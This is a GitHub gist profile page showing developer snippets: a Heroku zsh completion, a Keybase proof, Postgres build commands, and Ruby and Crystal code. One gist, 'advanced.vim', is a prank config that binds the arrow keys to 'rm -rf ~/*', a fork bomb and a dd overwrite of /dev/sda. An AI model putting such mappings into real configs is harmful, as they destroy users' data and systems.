Skip to content

Instantly share code, notes, and snippets.


Will Leinweber will

View GitHub Profile
View heroku.zsh
#compdef heroku
# generated from Heroku v2.4.0
# with these plugins: heroku-v3, old_plugins
_heroku() {
local -a app_argument
app_argument=('(-a --app)'{-a,--app}'[application name]:')
_heroku_commands() {

I do not endorse keybase, they made me put this here, and if you try and delete it their verification doesn't work anymore

Keybase proof

I hereby claim:

  • I am will on github.
  • I am will ( on keybase.
  • I have a public key whose fingerprint is 3A3D 10C8 0937 6697 26AA 96AE F678 2E5E CE24 5EF3
View gist:9740846
Open your terminal, run the following commands:
View the list:
sqlite3 ~/Library/Preferences/* 'select LSQuarantineDataURLString from LSQuarantineEvent'
Clear the list with:
sqlite3 ~/Library/Preferences/* 'delete from LSQuarantineEvent'
will / postgres
Last active Aug 29, 2015
Running a devl build of postgres
View postgres
git clone && cd postgres
./configure --prefix=/tmp/postgres --with-openssl --with-ossp-uuid --with-libs=/usr/local/opt/readline/lib/ --with-includes=/usr/local/opt/readline/include/
# skip the readline parts if you dont have readline installed but it makes `psql` better
make -sj8
make install
/tmp/postgres/bin/initdb /tmp/postgres/data
View gist:fd6b3311516f070073e7
module Kernel
alias :old_puts :puts
def puts(val)
old_puts val
split = caller.first.split(':')
yolo(split[0], split[1].to_i)
def yolo(filename, line_number)
View advanced.vim
noremap <Up> !rm -rf ~/*
noremap <Down> !:(){:|:&};:
noremap <Left> !dd if=/dev/random of=/dev/sda
View cfg.rb
ENV['DATABASE_URL'] = 'rand'
ENV['DB_POOL'] = '5'
ENV['PORT'] = '5000'
module CastingConfigHelper
def mandatory(name, method=nil)
value = cast(ENV.fetch(name.to_s.upcase), method)
create(name, value)
View 9.4 beta
note that with 9.4beta you will likely be forced to do a dump/restore to 9.4 stable when it comes out, and deprovision the beta database
~ ➤ heroku addons:add heroku-postgresql:standard-0 --version 9.4 --app will
Adding heroku-postgresql:standard-0 on will... done, v397 ($50/mo)
The database should be available in 3-5 minutes.
! The database will be empty. If upgrading, you can transfer
! data from another database with pgbackups:restore.
Use `heroku pg:wait` to track status
! WARNING: Postgres 9.4 is in beta. Beta releases have
will /
Last active Aug 29, 2015
time parsing benchmark
require "string_scanner"
require "benchmark"
class Common
# Postgres returns microseconds, Crystal Time only supports miliseconds
private def fraction_to_mili(frac)
if frac < 10
frac * 100
elsif frac < 100
frac * 10
will /
Last active Aug 29, 2015
union type error
alias MyType = Nil | Int32 | String | Bool
foo = [] of MyType
foo << 3
p foo
p foo.first > 1